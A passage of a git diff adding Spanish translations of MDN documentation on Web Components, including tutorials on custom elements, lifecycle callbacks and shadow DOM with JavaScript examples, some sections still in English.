+ <li><a href="https://www.webcomponents.org/">webcomponents.org</a> — Sitio que presenta ejemplos, tutoriales y otra información site featuring web components examples, tutorials, and other information.</li>
+ <li><a href="https://open-wc.org/">open-wc </a>— Sitio que incluye recomendaciones para el desarrollo, linting, testeo, demos, publicación y automatización de componentes web</li>
+ <li><a href="https://webcomponents.dev/features/">webcomponents.dev </a>— Sitio que provee de una interfaz de desarrollo online para trabajar con componentes web, ya sea nativamente o con diferentes librerías</li>
+ <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> — Librería para componentes web de código abierto, que favorece objetos simples y funciones puras sobre la sintasis <code>class</code> y <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>. Provee de una sencilla y funcional API para crear elementos personalizados.</li>
+ <li><a href="https://www.polymer-project.org/">LitElement (Proyecto Polymer)</a> — Marcos de trabajo para componentes web de Google — con un conjunto de polyfills, mejoras y ejemplos. Actualmente es la forma más sencilla de usar componentes web.</li>
+ <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi</a> — Componentes web facilmente en ~1kB <em>incluyedo polyfill</em> — Todo lo que se necesita es un navegador y conocimientos básicos de HTML, CSS y clases de JavaScript para ser productivo.</li>
+ <li><a href="https://stenciljs.com/">Stencil</a> — Conjunto de herramientas para construir componentes web de sistemas de diseño reusables y escalables.</li>
+ <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> — Librería para componenetes web de código abierto — una librería con alto rendimiento para la autoría rápida y fácil de componentes; extensible y acoplable y compatible con otros marcos de trabajo</li>
+</ul>
diff --git a/files/es/web/web_components/using_custom_elements/index.html b/files/es/web/web_components/using_custom_elements/index.html
new file mode 100644
index 0000000000..150d906131
--- /dev/null
+++ b/files/es/web/web_components/using_custom_elements/index.html
@@ -0,0 +1,304 @@
+---
+title: Usando elementos personalizados
+slug: Web/Web_Components/Using_custom_elements
+tags:
+  - Autonomos
+  - Clases
+  - Guía
+  - HTML
+  - Preconstruidos
+  - elementos personalizados
+translation_of: Web/Web_Components/Using_custom_elements
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Una de las características claves del estándar de Componentes Web es la capacidad de crear elementos personalizados que encapsulan tu funcionalidad en una página HTML, en vez de tener que hacerlo con una larga lista de elementos anidados que juntos proveen una funcionalidad o característica personalizada en una página. Este artículo presenta el uso del API de Elementos Personalizados.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los Elementos Personalizados funcionan por defecto en Firefox, Chrome, y Edge (76). Opera y Safari solo adminten Elementos  Personalizados autónomos (que extienden HTMLElement).</p>
+</div>
+
+<h2 id="Vista_de_alto_nivel">Vista de alto nivel</h2>
+
+<p>El controlador de los elementos personalizados en un documento web es el objeto  {{domxref("CustomElementRegistry")}}  — este objeto te permite registrar un elemento personalizado en la página, devolver información de qué elementos personalizados se han registrado, etc.</p>
+
+<p>Para registrar un elemento personalizado en la página, debes usar el método {{domxref("CustomElementRegistry.define()")}} . Éste toma los siguientes argumentos:</p>
+
+<ul>
+ <li>Un {{domxref("DOMString")}} que representa el nombre que estás dando al elemento. Nótese que los nombres de los elementos personalizados <a href="https://stackoverflow.com/questions/22545621/do-custom-elements-require-a-dash-in-their-name">deben contener un guión</a> (kebab-case); Los nombres no pueden ser palabras simples.</li>
+ <li>Un objeto <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class</a> que define el comportamiento del ejemplo.</li>
+ <li>Opcionalmente, un objeto de opciones que contiene la propiedad <code>extends</code> , que especifica el elemento preconstruido del que hereda (solo es relevante para elementos personalizados preconstruidos; ver la definición más abajo).</li>
+</ul>
+
+<p>Entonces por ejemplo, podríamos definir un elemento personalizado <a href="https://mdn.github.io/web-components-examples/word-count-web-component/">word-count</a> como este:</p>
+
+<pre class="brush: js notranslate">customElements.define('word-count', WordCount, { extends: 'p' });</pre>
+
+<p>El elemento se llama <code>word-count</code>, la clase es <code>WordCount</code>, y extiende el elemento {{htmlelement("p")}}.</p>
+
+<p>Para escribir una clase que defina un elemento personalizado, usamos la sintáxis estándar de ES 2015. Por ejemplo, <code>WordCount</code> está estructurada así:</p>
+
+<pre class="brush: js notranslate">class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Siempre llamar primero a super en el constructor
+    super();
+
+    // La funcionalidad del elemento se escribe aquí
+
+    ...
+  }
+}</pre>
+
+<p>Esto es solo un ejemplo sencillo, pero aquí se pueden hacer más cosas. Dentro de la clase podemos definir callbacks de ciclo de vida, que se ejecutan en momentos específicos del ciclo de vida del elemento. Por ejemplo, <code>connectedCallback</code> se invoca cada vez que el elemento se añade a un documento, mientras que <code>attributeChangedCallback</code> se invoca cuando uno de los atributos del elemento se ha añadido, quitado o cambiado.</p>
+
+<p>Aprenderás más sobre estos callbacks en la sección {{anch("Using the lifecycle callbacks")}} más abajo.</p>
+
+<p>Hay dos tipos de elementos personalizados :</p>
+
+<ul>
+ <li><strong>Elementos personalizados autónomos</strong> — estos no heredan de elementos estándar HTML. Se usan estos elementos en una página escribiéndolos literalmente como un elemento HTML nuevo. Por ejemplo <code>&lt;popup-info&gt;</code>, o <code>document.createElement("popup-info")</code>.</li>
+ <li><strong>Elementos preconstruidos</strong> <strong>personalizados</strong> heredan de elementos HTML básicos. Para crear un elemento de este tipo, tienes que especificar qué elemento extiende (como se verá en los ejemplos de abajo), y se usan escribiendo el nombre del elemento básico, pero añadiendo un atributo (o propiedad) {{htmlattrxref("is")}}  y dándole como valor el nombre del elemento personalizado que se ha desarrollado. Por ejemplo <code>&lt;p is="word-count"&gt;</code>, o <code>document.createElement("p", { is: "word-count" })</code>.</li>
+</ul>
+
+<h2 id="Trabajando_mediante_algunos_ejemplos_sencillos">Trabajando mediante algunos ejemplos sencillos</h2>
+
+<p>Llegados a este punto, veamos con más detalle cómo se crean los elementos personalizados, a través de algunos ejemplos.</p>
+
+<h3 id="Elementos_personalizados_autónomos">Elementos personalizados autónomos</h3>
+
+<p>Echemos un vistazo al ejemplo de un elemento personalizado autónomo — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (ver el <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">ejemplo en vivo</a>). Este ejemplo toma un icono y una cadena de texto, y los incrusta en la página. Cuando el icono toma el foco, se muestra el texto en una caja emergente (popup) de información para proporcionar más información de contexto.</p>
+
+<p>Para empezar, en un fichero JavaScript se define una clase llamada <code>PopUpInfo</code>, que extiende la clase genérica {{domxref("HTMLElement")}}.</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Siempre llamar primero a super en el constructor
+    super();
+
+    // La funcionalidad del elemento se escribe aquí
+
+    ...
+  }
+}</pre>
+
+<p>El trozo de código anterior contiene un <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor()</a></code> para la clase, que siempre empieza llamando a <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></code> de forma que se establezca correctamente el encadenado del prototipo.</p>
+
+<p>Dentro del constructor, definimos toda la funcionalidad que tendrá el elemento cuando se instancie. En este caso, adjuntamos una shadow root al elemento personalizado, mediante manipulación de DOM creamos la estructura interna del shadow DOM del elemento — que se adjunta a su vez a la shadow root — y finalmente añadimos algo de estilos CSS al shadow root.</p>
+
+<pre class="brush: js notranslate">// Creamos un shadow root
+var shadow = this.attachShadow({mode: 'open'});
+
+// Creamos spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Tomamos el contenido del atributo y lo ponemos dentro del span
+var text = this.getAttribute('data-text');
+info.textContent = text;
+
+// Añadimos el icono
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+
+// Creamos un poco de CSS para aplicar al shadow dom
+var style = document.createElement('style');
+
+style.textContent = '.wrapper {' +
+// CSS truncado por brevedad
+
+// añade los elementos creados al shadow dom
+
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<p>Finalmente, registraremos nuestro elemento en el <code>CustomElementRegistry</code> usando el método <code>define()</code> que mencionamos anteriormente  — en los parámetros especificamos el nombre del elemento, y el nombre de la clase que define su funcionalidad::</p>
+
+<pre class="brush: js notranslate">customElements.define('popup-info', PopUpInfo);</pre>
+
+<p>Ahora ya está disponible para usarse en nuestra página. En nuestro HTML, lo usamos de esta manera:</p>
+
+<pre class="brush: html notranslate">&lt;popup-info img="img/alt.png" data-text="Your card validation code (CVC)
+  is an extra security feature — it is the last 3 or 4 numbers on the
+  back of your card."&gt;&lt;/popup-info&gt;</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Puedes ver el código <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-web-component/main.js">fuente JavaScript completo</a> aquí.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Recuerda que para que los elementos personalizados funcionen, el script que los registra tiene que cargarse después de que el DOM lo interprete.  Esto puede hacerse incluyendo un elemento <code>&lt;script&gt;</code> al final del  <code>&lt;body&gt;</code>, o poniendo el atributo <code>defer</code> en tu elemento <code>&lt;script&gt;</code>.</p>
+</div>
+
+<h3 id="Estilos_internos_vs._externos">Estilos internos vs. externos</h3>
+
+<p>En el ejemplo de arriba, aplicamos estilos al Shadow DOM usando el elemento {{htmlelement("style")}} , pero podríamos perfectamente hacerlo referenciando una hoja de estilos externa mediante un elemento {{htmlelement("link")}}.</p>
+
+<p>Por ejemplo, echemos un vistazo al código de ejemplo de <a href="https://mdn.github.io/web-components-examples/popup-info-box-external-stylesheet/">popup-info-box-external-stylesheet</a> (ver el <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-external-stylesheet/main.js">código fuente</a>):</p>
+
+<pre class="brush: js notranslate">// Creamos elemento link para cargar hoja de estilos externa
+const linkElem = document.createElement('link');
+linkElem.setAttribute('rel', 'stylesheet');
+linkElem.setAttribute('href', 'style.css');
+
+// Añadimos el elemento creado al shadow dom
+shadow.appendChild(linkElem);</pre>
+
+<p>Nótese que los elementos {{htmlelement("link")}} no bloquean el pintado de shadow root, por lo que podría verse un flash o contenido sin estilo (FOUC)  mientras se carga la hoja de estilos.</p>
+
+<p>Muchos navegadores modernos implementan una optimización para etiquetas {{htmlelement("style")}} clonadas de un nodo común o que tienen texto idéntico, que les permite compartir una única hoja de estilo por detrás. Con esta optimización, el rendimiento de estilos externos e internos debería ser parecido.</p>
+
+<h3 id="Elementos_preconstruidos_personalizados">Elementos preconstruidos personalizados</h3>
+
+<p>Echemos un vistazo ahora a otro ejemplo de elemento preconstruído personalizado — <a href="https://github.com/mdn/web-components-examples/tree/master/expanding-list-web-component">expanding-list</a> (ver el <a href="https://mdn.github.io/web-components-examples/expanding-list-web-component/">ejemplo en vivo</a>). Este ejemplo convierte cualquier lista sin orden &lt;UL&gt; en un menú expandible/colapsable.</p>
+
+<p>Primero de todo, definimos nuesta clase, de la misma forma que antes:</p>
+
+<pre class="brush: js notranslate">class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Siempre llamar primero a super en el constructor
+    super();
+
+    // La funcionalidad del elemento se escribe aquí
+
+    ...
+  }
+}</pre>
+
+<p>No explicaremos la funcionalidad del elemento en detalle aquí, pero puedes descubrir cómo funciona mirando el código fuente. La única diferencia real es que nuestro elemento extiende de la interfaz {{domxref("HTMLUListElement")}}, y no de {{domxref("HTMLElement")}}. Por lo que tiene todas las características de un elemento {{htmlelement("ul")}} además de la funcionalidad que agreguemos nosotros, en vez de ser un elemento autónomo. Esto es lo que lo hace un elemento preconstruido personalizado en vez de uno autónomo.</p>
+
+<p>Después, registramos el elemento usando el método <code>define()</code> como antes, excepto que esta vez incluimos un objeto de opciones, en el tercer parámetro, que detalla de qué elemento hereda:</p>
+
+<pre class="brush: js notranslate">customElements.define('expanding-list', ExpandingList, { extends: "ul" });</pre>
+
+<p>El uso de un elemento preconstruido en un documento web también es algo distinto:</p>
+
+<pre class="brush: html notranslate">&lt;ul is="expanding-list"&gt;
+
+  ...
+
+&lt;/ul&gt;</pre>
+
+<p>Usas el elemento <code>&lt;ul&gt;</code> como siempre, pero especificas el nombre del elemento personalizado mediante un atributo  <code>is</code> .</p>
+
+<div class="note">
+<p><strong>Nota</strong>: De nuevo, puedes ver el código <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">fuente JavaScript completo </a> aquí.</p>
+</div>
+
+<h2 id="Usando_callbacks_de_ciclo_de_vida">Usando callbacks de ciclo de vida</h2>
+
+<p>Puedes definir varios callbacks dentro de la definición de la clase de un elemento personalizado. Estos callbacks se disparan en distintos puntos del ciclo de vida de elemento:</p>
+
+<ul>
+ <li><code>connectedCallback</code>: Se invoca cada vez que se añade un elemento personalizado a un documento. Esto ocurrirá cada vez que el nodo se mueva, y puede suceder antes de que todo el contenido se haya parseado.
+
+  <div class="note">
+  <p><strong>Nota</strong>: <code>connectedCallback</code> puede llamarse cuando el elemento ya no esté conectado. Para asegurarse usar {{domxref("Node.isConnected")}}.</p>
+  </div>
+ </li>
+ <li><code>disconnectedCallback</code>: Se invoca cada vez que el elemento se desconecta del DOM del documento.</li>
+ <li><code>adoptedCallback</code>: Se invoca cada vez que el elemento se mueve a un nuevo documento.</li>
+ <li><code>attributeChangedCallback</code>: Se invoca cada vez que los atributos del elemento se añaden, quitan o cambian. Deben especificarse previamente en el método estático <code>observedAttributes</code> los atributos que queremos que nos sean notificados.</li>
+</ul>
+
+<p>Echemos un vistazo a un ejemplo de todo esto.  El código de abajo se ha tomado del ejemplo <a href="https://github.com/mdn/web-components-examples/tree/master/life-cycle-callbacks">life-cycle-callbacks</a>  (ver el <a href="https://mdn.github.io/web-components-examples/life-cycle-callbacks/">ejemplo en vivo</a>).  Se trata de un ejemplo trivial que simplemente genera un cuadrado coloreado de un tamaño fijo en la página. El elemento personalizado es algo como esto:</p>
+
+<pre class="brush: html notranslate">&lt;custom-square l="100" c="red"&gt;&lt;/custom-square&gt;</pre>
+
+<p>El constructor de la clase es muy simple — adjuntamos un shadow DOM al elemento, y después adjuntamos un {{htmlelement("div")}} vacío y un elemento {{htmlelement("style")}} al shadow root:</p>
+
+<pre class="brush: js notranslate">var shadow = this.attachShadow({mode: 'open'});
+
+var div = document.createElement('div');
+var style = document.createElement('style');
+shadow.appendChild(style);
+shadow.appendChild(div);</pre>
+
+<p>La función clave en este ejemplo es  <code>updateStyle()</code> — esta toma un elemento, obtiene su shadow root, busca su elemento <code>&lt;style&gt;</code>, y añade al estilo {{cssxref("width")}}, {{cssxref("height")}}, y {{cssxref("background-color")}}.</p>
+
+<pre class="brush: js notranslate">function updateStyle(elem) {
+  const shadow = elem.shadowRoot;
+  shadow.querySelector('style').textContent = `
+    div {
+      width: ${elem.getAttribute('l')}px;
+      height: ${elem.getAttribute('l')}px;
+      background-color: ${elem.getAttribute('c')};
+    }
+  `;
+}</pre>
+
+<p>Las actualizaciones se manejan mediande los callbacks que se incluyen en la definición de la clase. El método <code>connectedCallback()</code> se ejecuta cada vez que el elemento se añade al DOM — en este instante ejecutamos la función <code>updateStyle()</code> para asegurarnos que el cuadrado se pinta tal y como se definió en sus atributos:</p>
+
+<pre class="brush: js notranslate">connectedCallback() {
+  console.log('Custom square element added to page.');
+  updateStyle(this);
+}</pre>
+
+<p>Los callbacks <code>disconnectedCallback()</code> y <code>adoptedCallback()</code> simplemente imprimen mensajes a la consola para informarnos cuando el elemento se quita del DOM, o bien se mueve a una página distinta:</p>
+
+<pre class="brush: js notranslate">disconnectedCallback() {
+  console.log('Custom square element removed from page.');
+}
+
+adoptedCallback() {
+  console.log('Custom square element moved to new page.');
+}</pre>
+
+<p>El callback <code>attributeChangedCallback()</code> se ejecuta cuando los atributos cambian de alguna forma. Como puedes ver en sus propiedades, es posible actuar sobre atributos individuales, teniendo en cuenta su nombre, y sus valores anterior y nuevo.  Sinembargo en este ejemplo, simplemente ejecutamos de nuevo la función <code>updateStyle()</code> para asegurarnos de que el cuadrado tiene el estilo adecuado a sus nuevos valores:</p>
+
+<pre class="brush: js notranslate">attributeChangedCallback(name, oldValue, newValue) {
+  console.log('Custom square element attributes changed.');
+  updateStyle(this);
+}</pre>
+
+<p>Nótese que el callback <code>attributeChangedCallback()</code> se dispara cuando un atributo cambia y está observándose el atributo. Esto se hace mediante el método <code>static get observedAttributes()</code> dentro de la clase  - este debería devolver un array que contiene los nombres de los atributos que se deben observar:</p>
+
+<pre class="brush: js notranslate">static get observedAttributes() { return ['c', 'l']; }</pre>
+
+<p>Este código se coloca en la parte de arriba del constructor en nuestro ejemplo.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Busca el <a href="https://github.com/mdn/web-components-examples/blob/master/life-cycle-callbacks/main.js">código JavaScript completo </a>aquí.</p>
+</div>
+
+<h2 id="Polyfills_vs._clases">Polyfills vs. clases</h2>
+
+<p>Polyfills de los elementos personalizados pueden parchear constructores nativos como <code>HTMLElement</code> y otros, y devolver una instancia de una clase diferente de la que se acaba de crear.</p>
+
+<p>Si necesitas un <code>constructor</code> y una llamada obligatoria a <code>super</code>, recuerda indicar los argumentos opcionales en el constructor y pasarlos a <code>super</code>.</p>
+
+<pre class="brush: js notranslate">class CustomElement extends HTMLElement {
+  constructor(...args) {
+    const self = super(...args);
+    // self functionality written in here
+    // self.addEventListener(...)
+    // return the right context
+    return self;
+  }
+}</pre>
+
+<p>Si no necesitar realizar ninguna operación en el constructor, simplemente omítelo, ya que se preservará su comportamiento nativo  (ver a continuación).</p>
+
+<pre class="brush: js notranslate"> constructor(...args) { return super(...args); }
+</pre>
+
+<h2 id="Transpiladores_vs._clases">Transpiladores vs. clases</h2>
+
+<p>Nótese que las clases ES2015 no pueden transpilarse con Babel 6 o TypeScript para navegadores antiguos. Puedes usar Babel 7 o el plugin  <a href="https://www.npmjs.com/package/babel-plugin-transform-builtin-classes">babel-plugin-transform-builtin-classes</a> para Babel 6, y especificar ES2015 como destino (target) en TypeScript en vez de legacy.</p>
+
+<h2 id="Librerías">Librerías</h2>
+
+<p>Existen varias librerías que se han construido sobre Web Components con la intención de incrementar el nivel de abstracción cuando se crean elementos personalizados. Algunas de estas librerías son  <a href="https://github.com/devpunks/snuggsi" rel="nofollow">snuggsi ツ</a>, <a href="https://x-tag.github.io/" rel="nofollow">X-Tag</a>, <a href="http://slimjs.com/" rel="nofollow">Slim.js</a>, <a href="https://lit-element.polymer-project.org/">LitElement</a>, <a href="https://www.htmlelements.com/">Smart</a>, y <a href="https://stenciljs.com">Stencil</a>.</p>
diff --git a/files/es/web/web_components/using_shadow_dom/index.html b/files/es/web/web_components/using_shadow_dom/index.html
new file mode 100644
index 0000000000..b660ee7181
--- /dev/null
+++ b/files/es/web/web_components/using_shadow_dom/index.html
@@ -0,0 +1,199 @@
+---
+title: Usando shadow DOM
+slug: Web/Web_Components/Using_shadow_DOM
+translation_of: Web/Web_Components/Using_shadow_DOM
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Un aspecto importante de los componentes Web es la encapsulación — ser capaz de mantener la estructura de marcado, estilo, y comportamiento oculto y separado de otro código en la página para que las diferentes partes no entre en conflicto, y el código pueda permanecer limpio y agradable. El API de DOM Shadow es un parte clave para esto, proporcionando una forma de enlazar un DOM oculto y separado a un elemento. Este artículo cubre los aspectos básicos para utilizar Shadow DOM.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Shadow DOM es soportado por defecto en Firefox (63 en adelante), Chrome, Opera, y Safari. Edge también está trabajando en una implemetanción.</p>
+</div>
+
+<h2 id="Vista_de_alto_nivel">Vista de alto nivel</h2>
+
+<p>Este artículo asume que usted está familiarizado con el concepto de <a href="/en-US/docs/Web/API/Document_Object_Model/Introduction">DOM (Document Object Model)</a> — una estructura en forma de arbol de nodos conectados que representan los diferentes elementos y cadenas de texto que aparecen en un documento de marcado (generalmente un documento HTML en el caso de documentos web). Como ejemplo, considere el siguiente fragmento HTML:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;Simple DOM example&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+      &lt;section&gt;
+        &lt;img src="dinosaur.png" alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."&gt;
+        &lt;p&gt;Here we will add a link to the &lt;a href="https://www.mozilla.org/"&gt;Mozilla homepage&lt;/a&gt;&lt;/p&gt;
+      &lt;/section&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Este fragmento produce la siguientre estructura de DOM:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p><em>Shadow</em> DOM permite adjuntar arboles DOM ocultos a elementos en el arbol DOM regular — este arbol shadow DOM comienza con un elemento <strong>shadow root,</strong> debajo del cual se puede adjuntar cualquier elemento que desee, de la misma manera que el DOM normal.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15788/shadow-dom.png" style="height: 543px; width: 1138px;"></p>
+
+<p>Hay algunos conceptos de Shadow DOM que deben ser tomados en cuenta:</p>
+
+<ul>
+ <li><strong>Shadow host</strong>: El nodo regular del DOM al que es atado el shadow DOM.</li>
+ <li><strong>Shadow tree</strong>: El arbol DOM dentro del shadow DOM.</li>
+ <li><strong>Shadow boundary</strong>: El punto en el que el shadow DOM termina y el DOM regular comienza.</li>
+ <li><strong>Shadow root</strong>: El nodo raiz del arbol Shadow.</li>
+</ul>
+
+<p>Puede manipular los nodos del 'shadow DOM' de la misma manera que los nodos del arbol DOM regular. Por ejemplo, agregando hijos o estableciendo atributos, dando estilo a nodos individuales utilizando element.style.foo, o agregando estilo a todo el árbol de 'shadow DOM' dentro del elemento &lt;style&gt;. La diferencia es que nada del código dentro de un 'shadow DOM' puede afectar a nada fuera de él, lo que permite una encapsulación práctica.</p>
+
+<p>Cabe destacar que el shadow DOM no es algo nuevo — los exploradores lo han usado por un largo tiempo para encapsular la estructura interna de un elemento. Piensa por ejemplo en un elemento {{htmlelement("video")}}, con los controles predeterminados del explorador a la vista. Todo lo que ves en el DOM es el elemento <code>&lt;video&gt;</code>, pero este contiene una serie de botones y otros controles dentro de su shadow DOM. Las especificaciones del shadow DOM fueron hechas para que seas capaz de manipular el shadow DOM de tus elementos personalizados.</p>
+
+<h2 id="Uso_básico">Uso básico</h2>
+
+<p>Puede adjuntar un 'shadow root' a cualquier elemento utilizando el método {{domxref ("Element.attachShadow ()")}}. Éste toma como parámetro un objeto que contiene una propiedad — modo — con dos posibles valores: 'open' o 'closed'.</p>
+
+<pre class="brush: js notranslate">let shadow = elementRef.attachShadow({mode: 'open'});
+let shadow = elementRef.attachShadow({mode: 'closed'});</pre>
+
+<p><code>open</code> siginifica que puede acceder al shadow DOM usando JavaScript en el contexto principal de la página. Por ejemplo, usando la propiedad {{domxref("Element.shadowRoot")}}:</p>
+
+<pre class="brush: js notranslate">let myShadowDom = myCustomElem.shadowRoot;</pre>
+
+<p>If you attach a shadow root to a custom element with <code>mode: closed</code> set, you won't be able to access the shadow DOM from the outside — <code>myCustomElem.shadowRoot</code> returns <code>null</code>. This is the case with built in elements that contain shadow DOMs, such as <code>&lt;video&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As <a href="https://blog.revillweb.com/open-vs-closed-shadow-dom-9f3d7427d1af">this blog post shows</a>, it is actually fairly easy to work around closed shadow DOMs, and the hassle to completely hide them is often more than it's worth.</p>
+</div>
+
+<p>If you are attaching a shadow DOM to a custom element as part of its constructor (by far the most useful application of the shadow DOM), you would use something like this:</p>
+
+<pre class="brush: js notranslate">let shadow = this.attachShadow({mode: 'open'});</pre>
+
+<p>When you've attached a shadow DOM to an element, manipulating it is a matter of just using the same DOM APIs as you use for the regular DOM manipulation:</p>
+
+<pre class="brush: js notranslate">var para = document.createElement('p');
+shadow.appendChild(para);
+// etc.</pre>
+
+<h2 id="Working_through_a_simple_example">Working through a simple example</h2>
+
+<p>Now let's walk through a simple example to demonstrate the shadow DOM in action inside a custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a> also). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information. To begin with, in our JavaScript file we define a class called <code>PopUpInfo</code>, which extends <code>HTMLElement</code>:</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // write element functionality in here
+
+    ...
+  }
+}</pre>
+
+<p>Inside the class definition we define the element's constructor, which defines all the functionality the element will have when an instance of it is instantiated.</p>
+
+<h3 id="Creating_the_shadow_root">Creating the shadow root</h3>
+
+<p>We first attach a shadow root to the custom element:</p>
+
+<pre class="brush: js notranslate">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});</pre>
+
+<h3 class="brush: js" id="Creating_the_shadow_DOM_structure">Creating the shadow DOM structure</h3>
+
+<p class="brush: js">Next, we use some DOM manipulation to create the element's internal shadow DOM structure:</p>
+
+<pre class="brush: js notranslate">// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+  imgUrl = this.getAttribute('img');
+} else {
+  imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+</pre>
+
+<h3 class="brush: js" id="Styling_the_shadow_DOM">Styling the shadow DOM</h3>
+
+<p class="brush: js">After that we create a {{htmlelement("style")}} element and populate it with some CSS to style it:</p>
+
+<pre class="brush: js notranslate">// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = `
+.wrapper {
+  position: relative;
+}
+
+.info {
+  font-size: 0.8rem;
+  width: 200px;
+  display: inline-block;
+  border: 1px solid black;
+  padding: 10px;
+  background: white;
+  border-radius: 10px;
+  opacity: 0;
+  transition: 0.6s all;
+  position: absolute;
+  bottom: 20px;
+  left: 10px;
+  z-index: 3;
+}
+
+img {
+  width: 1.2rem;
+}
+
+.icon:hover + .info, .icon:focus + .info {
+  opacity: 1;
+}`;
+
+</pre>
+
+<h3 id="Attaching_the_shadow_DOM_to_the_shadow_root">Attaching the shadow DOM to the shadow root</h3>
+
+<p>The final step is to attach all the created elements to the shadow root:</p>
+
+<pre class="brush: js notranslate">// attach the created elements to the shadow dom
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<h3 id="Using_our_custom_element">Using our custom element</h3>
+
+<p>Once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a>:</p>
+
+<pre class="brush: js notranslate">// Define the new element
+customElements.define('popup-info', PopUpInfo);</pre>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">popup-info</span> <span class="pl-e">img</span>=<span class="pl-s"><span class="pl-pds">"</span>img/alt.png<span class="pl-pds">"</span></span> <span class="pl-e">text</span>=<span class="pl-s"><span class="pl-pds">"</span>Your card validation code (CVC) is an extra
+                                    security feature — it is the last 3 or 4
+                                    numbers on the back of your card.<span class="pl-pds">"</span></span>&gt;</pre>
+
+<div>
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a></li>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a></li>
+</ul>
+</div>
diff --git a/files/es/web/web_components/using_templates_and_slots/index.html b/files/es/web/web_components/using_templates_and_slots/index.html
new file mode 100644
index 0000000000..d8047d325b
--- /dev/null
+++ b/files/es/web/web_components/using_templates_and_slots/index.html
@@ -0,0 +1,335 @@
+---
+title: Usando plantillas y slots
+slug: Web/Web_Components/Using_templates_and_slots
+tags:
+  - Componentes Web
+  - Template
+  - shadow dom
+  - slot
+translation_of: Web/Web_Components/Using_templates_and_slots
+---
+<div>{{DefaultAPISidebar("Web Components")}}</div>
+
+<p class="summary">Este artículo explica como puedes usar los elementos {{htmlelement("template")}} y {{htmlelement("slot")}} para crear una plantilla flexible que luego puede ser usada para rellenar el shadow DOM de un componente web.</p>
+
+<h2 id="La_verdad_acerca_del_elemento_&lt;template>">La verdad acerca del elemento &lt;template&gt;</h2>
+
+<p>Cuando tienes que reutilizar las mismas estructuras de lenguaje de marcado repetidas veces en una página web, tiene sentido utilizar algún tipo de plantilla en lugar de repetir la misma estructura una y otra vez. Esto ya era posible hacerlo antes, pero ahora es mucho mas fácil con el elemento HTML {{htmlelement("template")}} (que está bien soportado en los navegadores modernos). Este elemento y su contenido no son renderizados en el DOM, pero pueden ser referenciados vía JavaScript.</p>
+
+<p>Echemos un vistazo a un ejemplo sencillo:</p>
+
